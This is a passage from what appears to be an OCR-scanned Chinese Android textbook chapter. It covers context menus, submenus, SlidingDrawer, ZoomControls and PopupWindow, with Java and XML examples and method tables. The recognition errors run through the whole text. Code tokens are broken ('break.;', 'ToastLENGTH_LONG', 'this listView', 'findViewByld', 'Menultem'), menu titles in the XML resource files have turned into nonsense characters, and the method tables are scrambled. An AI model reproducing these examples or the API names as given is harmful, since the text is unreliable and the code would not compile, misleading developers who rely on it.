private String data[] = { "北京 魔 乐 科技 ", "www.mldnjava.cn", "讲师 : 李兴华 "， 


"中 国 高 校 讲课 联盟 ", "www.jiangker.com"}; // 定 义 显示 的 数据 
private ListView listView; /定义 ListView 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
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super.onCreate(savedInstanceState); 


this .listView = new ListView(this) ; // 实 例 化 组 件 
listView.setAdapter(new ArrayAdapter<String>(this, // 将 数据 包装 
android.R.layout.simple_expandable_list_item_1， /每 行 显示 一 条 数据 
this.data)); // 设 置 组 件 内 容 
super.setContentView(this listView); // 将 组 件 添加 到 屏幕 中 
super .registerForContextMenu(this listView) ; // 注 册 上 下 文 菜单 
| 
@Override 
public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenulnfo 
menulnfo){ /显示 莱 单 
super.onCreateContextMenu(menu, v, menulnfo) ; 
menu.setHeaderTitle(" 信 息 操作 ") ; // 设 置 显示 信息 头 
menu.add(Menu.NONE, Menu.FIRST + 1, 1, "添加 联系 人 "); 。 // 设 置 菜单 项 
menu.add(Menu.NONE, Menu.FIRST+ 2, 2, "查看 详情 "); /设置 菜单 项 
menu.add(Menu.NONE, Menu.FIRST+ 3, 3, "删除 信息 "); /设置 菜单 项 
menu.add(Menu.NONE, Menu.FIRST + 4, 4, "另存 为 "); /设置 菜单 项 
menu.add(Menu.NONE, Menu.FIRST+ 5, 5, "编辑 "); /设置 菜单 项 
} 
@Override 
public boolean onContextltemSelected(Menultem item) { // 选 中 某 个 菜单 项 
switch (item.getltemld()) { // 判 断 菜 单项 ID 
case Menu.FIRST + 1: 
Toast.make Text(this, "您 选择 的 是 “添加 联系 人 ”项 。", Toast.LENGTH_LONG).show(); 
break.; 
case Menu.FIRST + 2: 
Toast.makeText(this, "您 选择 的 是 “查看 详情 ”项 。", Toast.LENGTH_LONG).show(); 
break.; 
case Menu.FIRST + 3: 
Toast.makeText(this, "您 选择 的 是 “删除 信息 ”项 。", Toast.LENGTH_LONG).show(); 
break.; 
case Menu.FIRST + 4: 
Toast.makeText(this, "您 选择 的 是 “另存 为 ”项 。", Toast.LENGTH_LONG).show(); 
break; 
case Menu.FIRST + 5: 
Toast.makeText(this, "您 选择 的 是 “编辑 ”项 。", ToastLENGTH_LONG).show(); 
break; 
y 
return false; 
1 
@Override 
public void onContextMenuClosed(Menu menu) { // 菜 单 退出 时 调用 
Toast.makeText(this, "上 下 文 菜单 关闭 了 ", Toast.LENGTH_LONG).show(); 
} 


在 本 程序 中 通过 列表 视图 (ListView) 显示 所 有 信息 ， 之 后 使 用 registerForContextMenu() 方 
法 将 上 下 文 菜单 进行 了 注册 ， 所 以 当 用 户 长 按 任何 一 个 列表 项 时 都 会 直接 将 菜单 显示 出 来 。 程 
序 的 运行 效果 如 图 7-49 所 示 。 
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CEE7TTTES 


信息 操作 


和 这 去 的 是 - 直 看 详情 项 。 
a ET 


图 7-49 显示 上 下 文 菜单 


以 上 是 直接 在 onCreateContextMenu() 方 法 中 创建 了 每 一 个 要 显示 的 菜单 项 ， 对 于 上 下 文 菜 
用 户 依然 可 以 像 选择 菜单 那样 直接 通过 配置 资源 文件 得 到 。 
【 例 7-88】 在 resmenumymenu.xml 文件 中 定义 菜单 项 的 资源 文件 
<?xml version="1.0" encoding="utf-8"?> 
<menu xmlIns:android="http:/schemas.android.com/apK/res/android"> 


:3 


<item android:id="@+id/item01" android:title=" 流 加 尽 系 A"/> /定义 菜单 项 

<item android:id="@+icyitem02"android:title= "秋香 涯 簿 ' /> /定义 菜单 项 

<item android:id="@+id/item03" android:title=" 砚 屠 信 和 访 " /> // 定 义 菜单 项 

<item android:id="@+id/item04" android:title=" 另 产 为 " /> /定义 菜单 项 

<item android:id="@+id/item05" android:title=" 答 租 " /> /定义 菜单 项 
</menu> 


随后 在 onCreateContextMenu() 方 法 中 直接 利用 Activity 类 中 的 super.getMenuInflater().inflate() 
方法 将 配置 文件 中 的 组 件 实例 化 并 加 入 到 菜单 中 。 
【 例 7-89】 修改 Activity 程序 ， 读 取 所 有 菜单 项 


@Override 

public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenulnfo 

menulnfo) { /显示 菜单 
Super.onCreateContextMenu(menu, v, menulnfo) ; 
menu.setHeaderTitle(" 信 息 操作 ") ; /设置 显示 信息 头 
super.getMenulnflater().inflate(R.menu.mymenu, menu); // 填 充 菜 单项 

} 


此 时 , 通过 配置 文件 将 所 有 的 菜单 项 保存 在 上 下 文 菜单 中 , 程序 的 运行 效果 与 图 7-49 一 致 。 
7.15.3 子 菜单 : SubMenu 


当 在 系统 中 定义 完 菜单 之 后 ， 也 可 以 为 每 一 个 菜单 定义 多 个 子 菜单 (SubMenu) 。SubMenu 
接口 的 常用 方法 如 表 7-34 所 示 。 
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表 7-34 Subltem 接口 的 常用 方法 


得 到 一 个 子 菜单 所 属 的 父 菜单 对 象 
设置 菜单 的 显示 图 标 
设置 子 菜单 的 显示 标题 


public abstract MenuItem getItem() 
4 public abstract SubMenu setHeaderIcon(int iconRes) 
public abstract SubMenu setHeaderTitle(int titleRes) 
public abstract SubMenu setHeaderTitle 


设置 子 菜单 的 显示 标题 
CharSequence title) 


设置 每 个 子 菜单 项 的 图 标 


子 菜单 的 创建 依然 要 使 用 Activity 类 中 的 onCreateOptionsMenu() 方 法 完成 , 下 面 通过 代码 进 
行 说 明 。 
【 例 7-90】 定义 子 菜单 
package org.Ixh.demo; 
import android.app.Activity; 
import android.view.Menu; 
import android.view.Menultem; 
import android.view.SubMenu; 
import android.widget. Toast; 
public class MyMenuDemo extends Activity { 


public abstract SubMenu setIcon(int iconRes) 


@Override 
public boolean onCreateOptionsMenu(Menu menu) { /显示 菜单 
SubMenu fileMenu = menu.addSubMenu(" 文 件 "); // 子 菜单 
SubMenu editMenu = menu.addSubMenu(" 编 辑 "); // 子 菜单 
fleMenu.add(Menu.NONE, Menu.FIRST + 1, 1, "新 建 ") ; // 子 菜单 项 
fileMenu.add(Menu.NONE, Menu.FIRST + 2, 2, "打开 ") ; // 子 菜单 项 
fileMenu.add(Menu.NONE, Menu.FIRST + 3, 3, "保存 ") ; // 子 菜单 项 
editMenu.add(Menu.NONE, Menu.FIRST + 4, 4, "撤销 "); // 子 菜单 项 
editMenu.add(Menu.NONE, Menu.FIRST + 5, 5, "恢复 "); // 子 菜单 项 
return true ; 
} 
@Override 
public boolean onOptionsltemSelected(Menultem item) { // 选 中 某 个 菜单 项 
switch (item.getltemld()) { // 判 断 菜 单项 ID 
case Menu.FIRST + 1: 
Toast.makeText(this," 您 选择 的 是 “添加 联系 人 ”项 。", Toast.LENGTH_LONG). 
show(); 
break; 
case Menu.FIRST + 2: 
Toast.makeText(this," 您 选择 的 是 “查看 详情 ”项 。",Toast.LENGTH_LONG). 
show(); 
break; 
case Menu.FIRST + 3: 
Toast.makeText(this,“" 您 选择 的 是 “删除 信息 ”项 。",，Toast.LENGTH_LONG). 
show!(); 


break; 

case Menu.FIRST + 4: 
Toast.makeText(this, "您 选择 的 是 “另存 为 ”项 。", Toast.LENGTH_LONG).show(); 
break; 
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case Menu.FIRST + 5: 
Toast.makeText(this, "您 选择 的 是 “编辑 ”项 。", ToastLENGTH_LONG).show(); 
break: 


} 


return false; 


} 
} 
本 程序 在 onCreateOptionsMenu() 方 法 中 创建 了 两 个 子 菜单 ， 之 后 分 别 为 子 菜单 设置 了 多 个 


子 菜单 项 ， 当 用 户 选 择 菜单 时 ， 首 先 会 显示 类 似 于 选项 菜单 的 界面 ， 而 当 用 户 选择 某 一 个 菜单 
之 后 将 显示 相应 的 子 菜单 。 程 序 的 运行 效果 如 图 7-50 所 示 。 
Pe 


图 7-50 


与 选项 菜单 和 上 下 文 菜 单一 样 ， 子 菜单 的 显示 内 容 也 可 以 通过 配置 文件 完成 。 
【 例 7-91】 定义 fileMenu 的 子 菜 单 内 容 文件 一 一 res\menu\filemenu.xml 
<?xml version="1.0" encoding="utf-8"?> 
<menu xmiIns:android="http:/schemas.android.com/apK/res/android"> 


<item android:id="@+id/item01"” android:title=" 产 于 "/> // 定 义 菜单 项 
<item android:id="@+id/item02" android:title="#7 开 " /> // 定 义 菜单 项 
<item android:id="@+id/item03" android:title=" 府 产 " /> // 定 义 菜单 项 
</menu> 


【 例 7-92】 定义 editMenu 的 子 菜单 
<?xml version="1.0" encoding="utf-8"?> 
<menu xmins:android="http:/schemas.android.com/apK/res/android"> 

<item android:id="@+id/item04" android:title=" 通 名 '/> ”// 定 义 菜单 项 
<item android:id="@+id/item05" android:title=" 人 懂 塌 "/> ”// 定 义 菜单 项 


</menu> 
【 例 7-93】 修改 Activity 程序 ， 通 过 配置 文件 读 取 子 菜单 项 

@Override 

public boolean onCreateOptionsMenu(Menu menu) { /显示 菜单 
SubMenu fileMenu = menu.addSubMenu(" 文 件 "); 1// 子 菜单 
SubMenu editMenu = menu.addSubMenu(" 编 辑 "); 1// 子 菜单 
super.getMenulnflater().inflate(R.menu.filemenu, fileMenu) ; // 设 置 菜单 项 
super.getMenulnflater().inflate(R.menu.editmenu, editMenu) ; // 设 置 菜单 项 


return true ; 
} 
由 于 本 程序 有 两 个 子 菜单 ， 所 以 对 于 每 一 个 子 菜单 的 选项 ， 都 使 用 了 一 个 配置 文件 ， 程 序 
的 运行 效果 如 图 7-50 所 示 。 
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7.16 隐 式 抽 屋 组 件 : SlidingDrawer 


SlidingDrawer 是 一 种 抽 居 型 的 组 件 ， 当 用 户 选择 打开 此 “ 抽 展 ”之 后 ， 会 得 到 一 些 可 以 使 
的 “程序 集 ”， 这 样 当 一 个 界面 要 摆 放 多 个 组 件 时 ， 使 用 此 组 件 就 可 以 很 好 地 解决 布局 空间 
紧张 的 问题 。SlidingDrawer 类 的 定义 如 下 : 


java.lang.Object 


b android.view.View 
b android.view.ViewGroup 


b android.widget.SlidingDrawer 
SlidingDrawer 类 中 定义 的 常用 方法 如 表 7-35 所 示 。 


表 7-35 SlidingDrawer 类 的 常用 方法 


No. 方 法 描述 
1 public void openO 打开 隐藏 的 抽 层 
2 public void closeO 关闭 隐藏 的 抽 层 
3 public void lock: 普通 锁定 “程序 集 ”视图 
4 public void unlock! F 
5 public View getContentO 得 到 所 设置 的 “程序 集 ” 视 图 
6 public View getHandle0 得 到 所 设置 的 操作 按钮 视图 
7 public boolean isMoving() 是 否 正在 滑动 
8 public boolean isOpened 是 否 打开 
public void setOnDrawerOpenListener(SlidingDrawer. a 
层 组 件 时 事件 
2 OnDrawerOpenListener onDrawerOpenListener) 江天 雪 必 组 伯 时 航 必 下 作 
public void setOnDrawerCloseListener(SlidingDrawer. ee Re 
: 闭 抽 导 组 件 由 事件 
OnDrawerCloseListener onDrawerCloseListener) 关闭 抽 层 组 件 时 触发 事件 
11 public void 全 后 交合 拖 动 抽 导 组 件 时 触发 事件 
OnDrawerScrollListener onDrawerScrollListener) 


下 面 通过 SlidingDrawer 定义 一 个 抽 导 组件， 并 在 此 组 件 中 通过 ListView 显示 一 些 列表 信息 。 
【 例 7-94】 在 main.xml 文件 中 定义 组 件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="vertical” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<SlidingDrawer /| 定义 抽 层 组 件 

android:id="@+id/slidingdrawer” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
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android:layout_height="fill_ parent” // 组 件 高 度 为 屏幕 高 度 

android:orientation="horizonta/" // 采 用 水 平展 开 

android:handle="@+id/handle” /定义 委托 展开 的 图 片 ， 为 ImageView 

android:content="@+ic/content> // 定 义 组 件 中 的 程序 集 

<ImageView // 定 义 视图 显示 组 件 
android:id="@+id/handle” 1/ 组件 ID，android:handle 属性 使 用 
android:src="@drawable/ico_left” /默认 显示 图 片 


android:layout_width="wrap_content” /组件 宽度 为 显示 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 显示 高 度 


<LinearLayout // 专 门 显示 内 容 的 布局 管理 器 
android:id="@+id/content” // 布 局 管理 器 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 此 布局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” ”// 此 布局 管理 器 高 度 为 显示 高 度 
android:orientation="vertica/”> // 所 有 组 件 垂 直 摆 放 

</LinearLayout> 

</SlidingDrawer> 
</LinearLayout> 


在 此 布局 管理 器 中 定义 了 SlidingDrawer 组 件 , 组件 为 水 平展 开 (android:orientation= "horizontal"， 

如 果 要 设置 为 垂直 展开 ， 则 修改 为 android:orientation="vertical") ， 组 件 的 委托 展开 所 设置 的 图 
1 是 由 ImageView 组 件 所 定义 的 , 而 所 有 的 内 容 将 通过 程序 自动 向 LinearLayout (@+id/content) 
组 件 中 增加 。 
【 例 7-95】 定义 Activity 程序 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.ArrayAdapter; 

import android.widget.ImageView; 

import android.widget.LinearLayout; 

import android.widget.ListView'; 

import android.widget.SlidingDrawer 

import android.widget.SlidingDrawer.OnDrawerCloseListener; 

import android.widget.SlidingDrawer.OnDrawerOpenListener; 

import android.widget.SlidingDrawer.OnDrawerScrollListener'; 

import android.widget. Toast; 

public class MySlidingDrawerDemo extends Activity { 

private String data[] = { "北京 魔 乐 科技 ", “www.mldnjava.cn", "讲师 : 李兴华 "， 


"中 国 高 校 讲课 联盟 ", "www.jiangker.com"}; /定义 显示 的 数据 
private ListView listView; /定义 ListView 组 件 
private SlidingDrawer slidingDrawer ; /定义 SlidingDrawer 
private ImageView handle ; /定义 图 片 显示 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
LinearLayout layout = (LinearLayout) super.findViewByld(R.id.content) ; 


this.listView = new ListView(this) ; // 实 例 化 组 件 

listView.setAdapter(new ArrayAdapter<String>(this, // 将 数据 包装 
android.R.layout.simple_expandable_list_item_1， /每 行 显示 一 条 数据 
this.data)); /设置 组 件 内 容 
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layout.addView(this listView) ; 1/ 增 加 组 件 
this.slidingDrawer = (SlidingDrawer) super findViewByld(R.id.slidingdrawer) ; 
this.handle = (ImageView) super.findViewByld(R.id.handle) ; // 取 得 组 件 
this.slidingDrawer.setOnDrawerOpenListener(new OnDrawerOpenListenerImpl()) ; 
this.slidingDrawer.setOnDrawerCloseListener(new OnDrawerCloseListenerImpl()) ; 
this.slidingDrawer.setOnDrawerScrollListener(new OnDrawerScrollListenerlImpl()); 


1 
private class OnDrawerOpenListenerlmpl implements OnDrawerOpenListener { 
@Override 
public void onDrawerOpened() { 
handle.setlImageResource(R.drawable.ico_right) ; // 窗 口 打开 监 
} 
private class OnDrawerCloseListenerImpl implements OnDrawerCloseListener { 
@Override 
public void onDrawerClosed() { 
handle.setlImageResource(R.drawable.ico_/eft) ; /窗口 关闭 监听 
} 
} 
private class OnDrawerScrollListenerImpl implements OnDrawerScrollListener { 
@Override 
public void onScrollEnded() { // 拖 动 结束 
Toast.makeText(MySlidingDrawerDemo.this, "窗口 拖 动 结束 。", Toast.LENGTH_ 
SHORT).show!(); 
} 
@Override 
public void onScrollStarted() { // 拖 动 开始 
Toast.makeText(MySlidingDrawerDemo.this, "正在 拖 动 窗口 。", Toast.LENGTH_ 
SHORT).show!(); 
1 
} 


} 

在 本 程序 中 ， 分 别 取得 了 LinearLayout、SlidingDrawer、ImageView 组 件 的 对 象 ， 而 所 有 的 
内 容 通过 程序 生成 了 一 个 ListView 组 件 ， 并 将 此 显示 内 容 设 置 到 了 LinearLayout (@id/content) 
布局 管理 器 中 ， 当 用 户 进行 SlidingDrawer 的 打开 、 关 闭 、 拖 动 等 操作 时 都 会 进行 相应 的 监听 操 
作 ， 并 对 显示 的 委托 图 片 〈ImageView) 进行 相应 的 变更 。 程 序 的 运行 效果 如 图 7-51 所 示 。 


www.mldnjava.cn 
讲师 : 李兴华 


ls 联盟 


wwwjiangker-com 


正在 痢 凤 时 口 


图 7-51 SlidingDrawer 组件 的 显示 效果 
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7.17 缩放 控制 : ZoomControls 


在 使 用 Android 手机 时 ， 经 常 可 以 看 见 如 图 7-52 所 示 的 组 件 ， 通 


过 此 组 件 的 “放大 ”和 “缩小 ”功能 ， 可 以 实现 对 显示 的 控制 ， 而 这 IlQ | Q® 
种 功能 的 实现 需要 依靠 android.widget.ZoomControls 组 件 完成 。 图 7-52 缩放 组 件 


ZoomControls 类 的 继承 结构 如 下 : 


java.lang.Object 
b android.view.View 
b android.view.ViewGroup 
b android.widget.LinearLayout 


b android.widget.ZoomControls 
ZoomControls 组 件 控制 缩放 主要 依靠 两 个 按钮 完成 ， 其 主要 的 操作 方法 如 表 7-36 所 示 。 


表 7-36 ZoomControls 类 的 常用 操作 方法 
描述 
创建 ZoomControls 组 件 
隐藏 组 件 
配置 放大 按钮 是 否 可 用 
普 配置 缩小 按钮 是 否 可 用 


iew.OnClickListener listener 


Bublic oy SO on hE pls ner OU en 配置 缩小 按钮 的 事件 监听 操作 
OnClickListener listener) 


public void setZoomSpeed(long speed) i 配置 缩放 的 速度 


public void showC 和 显示 组 件 


下 面 使 用 缩放 组 件 实现 一 个 对 文字 显示 大 小 进行 控制 的 小 程序 。 
【 例 7-96】 定义 布局 管理 器 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/text" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
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android:text= "大 冬 舟 丰 (MLDN7)“ /默认 显示 文字 
android:textSize="10px"/> /设置 文 字 大 小 
<ZoomControls // 缩 放 组 件 
android:id="@+id/zoomcontrols” // 组 件 ID， 程 序 中 使 用 
android:layout_gravity="bottom” /显示 内 容 底部 对 齐 
android:layout_width="wrap_content” /组件 宽度 为 自身 宽度 
android:layout_height="wrap_content” /> // 组 件 高 度 为 自身 高 度 
</LinearLayout> 


在 本 配置 文件 中 ， 定 义 了 一 个 文本 显示 组 件 和 一 个 缩放 组 件 ， 缩 放 组 件 的 主要 功能 是 控制 

文本 显示 组 件 中 的 显示 大 小 〈android:textSize) ， 而 该 控制 的 过 程 交 由 Activity 程序 进行 处 理 。 
【 例 7-97】 定义 Activity 程序 ， 进 行 缩放 控制 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener 

import android.widget. TextView; 

import android.widget.ZoomControls; 

public class MyZoomControlsDemo extends Activity { 


private ZoomControls zoomControls; // 缩 放 组 件 
private int size = 10; // 默 认 文字 大 小 
private TextView text; // 文 本 显示 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 默认 布局 
this.zoomControls = (ZoomControls) fndViewByld(R.id.zoomcomntrols); 
this.text = (TextView) findViewByld(R.id.text); // 取 得 组 件 
this.zoomControls.setOnZoomlnClickListener( 
new OnZoomlnCilickListenerlmpl()); // 设 置 放 大 监听 
this.zoomControls.setOnZoomOutClickListener( 
new OnZoomOutClickListenerImpl()); /设置 缩小 监听 
} 
private class OnZoomInClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyZoomControlsDemo.this.size = size + 2; /更 改 文字 大 小 
MyZzoomControlsDemo this .text.setTextSize(size); /更 改 文字 大 小 
} 
} 
private class OnZoomOutClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyZoomControlsDemo.this.size = size - 2; // 更 改 文 字 大 小 
MyZoomControlsDemo.this.text.setTextSize(size); // 更 改 文 字 大 小 
} 
} 


当 本 程序 取得 了 ZoomControls 组 件 之 后 ,分别 使 用 setOnZoomInClickListener() 和 
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setOnZoomOnutClickListener() 方 法 进行 “放大 ”、“ 缩 小 ”按钮 的 监听 ， 并 在 事件 处 理 类 中 ， 进 
行 了 文字 大 小 的 改变 。 程 序 的 运行 效果 如 图 7-53 所 示 。 


魔 乐 科技 ( MLDN ) 
(Qa | @ 


图 7-53 通过 缩放 组 件 控制 文字 大 小 


7.18 ”弹出 窗口 : PopupWindow 


在 软件 的 开发 中 ， 用户 可 以 使 用 PopupWindow 组 件 ,在 窗口 上 弹出 一 个 小 窗口 以 进行 一 些 操 
作 ， 如 一 些 即 时 通信 软件 ， 在 更 改 其 自身 状态 时 ， 就 会 弹出 一 个 如 图 7-54 所 示 的 窗口 进行 操作 。 


图 7-54 弹出 窗口 
android.widget.PopupWindow 类 中 定义 的 常用 操作 方法 如 表 7-37 所 示 。 
表 7-37 PopupWindow 类 的 常用 操作 方法 
方 ” 法 
1 public PopupWindow(Context context) 


描述 
创建 PopupWindow 实例 
创建 PopupWindow 实例 ， 同 时 传 入 弹出 
窗口 的 显示 宽度 和 高 度 
创建 PopupWindow 实例 ， 同 时 传 入 弹出 窗 
口 的 显示 宽度 和 高 度 以 及 是 否 设 置 焦点 
隐藏 窗口 

取得 弹出 窗口 的 高 度 

导弹 出 窗口 的 宽度 


public PopupWindow(View contentView, int width, 
int height 
public PopupWindow(View contentView, int width, 


int height, boolean focusable) 


4 public void dismiss() 
public int getHeightO 
6 |public int getWidthO 
7 
8 


ublic boolean isShowing( 


为 弹出 窗口 设置 动画 
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public void setContentView(View contentView) 
public void setFocusable(boolean focusable) 
11 |public void setHeight(int height) 


12 |public void setWidth(int width) 


public void setOnDismissListener(PopupWindow. 设置 弹出 窗口 隐藏 后 的 事件 监听 


OnDismissListener onDismissListene?) 


public void showAtLocation (View parent, int 


gravity, int x, int y) 图 ， 并 设置 显示 的 方式 及 对 齐 方式 


下 面 使 用 PopupWindow 组 件 完成 一 个 弹出 窗口 的 设计 操作 。 
【 例 7-98】 定义 弹出 窗口 的 组 件 布局 管理 器 一 一 popwindow.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂 直 摆 放 
android:layout_width="wrap_content”" // 布 局 管理 器 宽度 为 组 件 宽度 
android:layout_height="wrap_content’> // 布 局 管理 器 高 度 为 组 件 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/popinfo”" // 组 件 ID， 程 序 中 使 用 
android:text=" 磅 网 丰 秦 的 当 拟 证 柱 : " // 组 件 默认 显示 文字 
android:textSize="20px" /文字 大 小 
android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_contenty> // 组 件 高 度 为 文字 高 度 
<RadioGroup // 单 选 按 钮 组 件 
android:id="@+id/changestatus" 1/ 组件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 自身 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 自身 高 度 
android:orientation="Vertical” /所 有 组 件 垂直 排列 
android:checkedButton="@+id/online”> // 默 认 选中 的 组 件 
<RadioButton /| 单 选 按钮 项 
android:id="@+id/online”" // 组 件 ID， 程 序 中 使 用 
android:text= "在 疆 /> /默认 显示 文字 
<RadioButton // 单 选 按钮 项 
android:id="@+id/offline” // 组 件 iD， 程序 中 使 用 
android:text=" 芯 绪 /> /默认 显示 文字 
<RadioButton /| 单 选 按钮 项 
android:id="@+id/stealth" 1/ 组件 iD， 程序 中 使 用 
android:text= "说 身 "> /默认 显示 文字 
</RadioGroup> /| 单 选 按钮 组 件 完结 
<Button /按钮 组 件 
android:id="@+id/cance/” 1/ 组件 iD， 程序 中 使 用 
android:layout_height="wrap_content” // 组 件 高 度 为 自身 高 度 
android:layout_width="wrap_content”" // 组 件 宽度 为 自身 宽度 
android:text=" 殉 游 '/> // 默 认 显示 文字 
</LinearLayout> 


本 布局 管理 器 主要 作为 弹出 窗口 的 应 用 实现 ， 用 户 通 过 单 选 按 钮 选项 改变 在 线 状态 。 


240 


设置 PopupWindow 组 件 显示 的 View 视 


第 7 章 Android 中 的 基本 控件 (下 ) 


【 例 7-99】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” // 所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/statusinfo” // 组 件 ID， 程 序 中 使 用 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:layout_width="fil|_parent” /组件 宽度 为 屏幕 宽度 
android:text=" 当 万 万 户 次 态 ， 疾 绪 /> // 默 认 显 示 文 字 
<Button // 按 钮 组 件 
android:id="@+id/popbut”" // 组 件 iD， 程序 中 使 用 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:layout_width="fill_parent” // 组 件 宽度 为 文字 宽度 
android:text= "洗盘 "/> // 默 认 显 示 文 字 
</LinearLayout> 


本 布局 文件 中 的 文本 显示 组 件 用 于 保存 用 户 操作 单 选 按钮 之 后 的 状态 ， 而 当 用 户 按 下 按钮 
之 后 将 会 弹出 显示 窗口 。 
【 例 7-100】 定 义 Activity 程序 , 操作 弹出 窗口 一 一 MyPopupWindowDemo.java (分 段 解释 ) 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.Gravity; 
import android.view.Layoutlnflater' 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget.PopupWindow; 
import android.widget.RadioButton; 
import android.widget.RadioGroup; 
import android.widget.RadioGroup.OnCheckedChangeListener' 
import android.widget. TextView; 
public class MyPopupWindowDemo extends Activity { 


private Button popbut = null; // 按 钮 组 件 

private RadioGroup changestatus = null; // 单 选 按 钮 组 件 
private TextView statusinfo = null; // 文 本 显示 组 件 
private Button cancel = null; /按钮 组 件 

private PopupWindow popWin = null; // 弹 出 窗口 

private View popView = null; // 保 存 弹出 窗口 布局 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 设 置 布 局 管理 器 
this.popbut = (Button) super.findViewByld(R.id.popbut);，// 取 得 组 件 
this.statusinfo = (TextView) super.findViewByld(R.id.statusinfo); 。 // 取 得 组 件 
this.popbut.setOnClickListener(new OnClickListenerImpl()); 1/ 设置 单 击 事件 
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本 程序 的 主要 功能 是 将 main.xml 文件 中 定义 的 按钮 设置 了 一 个 单 击 事件 ， 而 此 事件 的 主要 
功能 就 是 负责 弹出 窗口 。 
private class OnClickListenerImpl implements OnClickListener { /设置 监听 
@Override 
public void onClick(View view) { 
Layoutlnflater inflater = LayoutInflater 


.from(MyPopupWindowDemo.this); /取得 Layoutlnflater 对 象 
MyPopupWindowDemo.this.popView = inflater.inflate( 

R.layout.popwindow, null); // 读 取 布 局 管理 器 
MyPopupWindowDemo.this.popWin = new PopupWindow(popView, 300, 220, 

true); /实例 化 PopupWindow 
MyPopupWindowDemo.this.changestatus = (RadioGroup) popView 

findViewByld(R.id.changestatus); // 取 得 组 件 
MyPopupWindowDemo.this.cancel = (Button) popView 

findViewByld(R.id.cance); // 取 得 组 件 


MyPopupWindowDemo.this.changestatus 
.SetOnCheckedChangeListener( 
new OnCheckedChangeListenerlmpl()); // 设 置 监听 
MyPopupWindowDemo.this.cancel 
.setOnClickListener(new OnClickListener() { 
@Override 
public void onClick(View v) { 
MyPopupWindowDemo.this.popWin.dismiss(); // 关 闭 弹出 窗口 
} 
六 
MyPopupWindowDemo.this.popWin.showAtLocation( 
MyPopupWindowDemo.this.popbut, 
Gravity.CENTER, 0, 0); // 显 示 弹 出 窗口 


} 
本 程序 为 单 击 的 事件 监听 操作 ， 由 于 所 有 弹出 窗口 的 布局 文件 是 popwindow xml 文件 ， 所 
以 首先 使 用 LayoutInflater 类 将 此 布局 文件 的 组 件 变 为 View 对 象 返回 ， 而 后 利用 此 View 对 象 
(popView) 取得 设置 的 单 选 按钮 组 件 和 “取消 ”按钮 组 件 ， 并 且 为 其 设置 相应 的 事件 操作 。 
private class OnCheckedChangeListenerlImpl implements 
OnCheckedChangeListener { /选项 选中 时 触发 
@Override 
public void onCheckedChanged(RadioGroup group, int checkedld) { 
RadioButton but = (RadioButton) MyPopupWindowDemo.this.popView 
-findViewByld(group.getCheckedRadioButtonld()); /取得 选中 组 件 
MyPopupWindowDemo .this.statusinfo.setText(" 当 前 用 户 状态 : " 
+ but.getText().toString()); /设置 文本 
MyPopupWindowDemo this.popWin.dismiss(); // 关 闭 弹 出 窗口 


} 
} 
本 程序 为 单 选 按钮 的 事件 处 理 类 ， 主 要 功能 是 从 弹出 窗口 中 取出 用 户 选 定 的 单 选 按钮 对 象 ， 
之 后 取得 相关 的 信息 ,并 且 将 其 设置 在 文本 组 件 (statusinfo) 中 显示 。 程序 的 运行 效果 如 图 7-55 
所 示 。 
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CEEZTTTTES 


(a) 弹出 窗口 (b) 改变 状态 


图 7-55 弹出 窗口 操作 
7.19 树 型 组 件 : ExpandableListView 


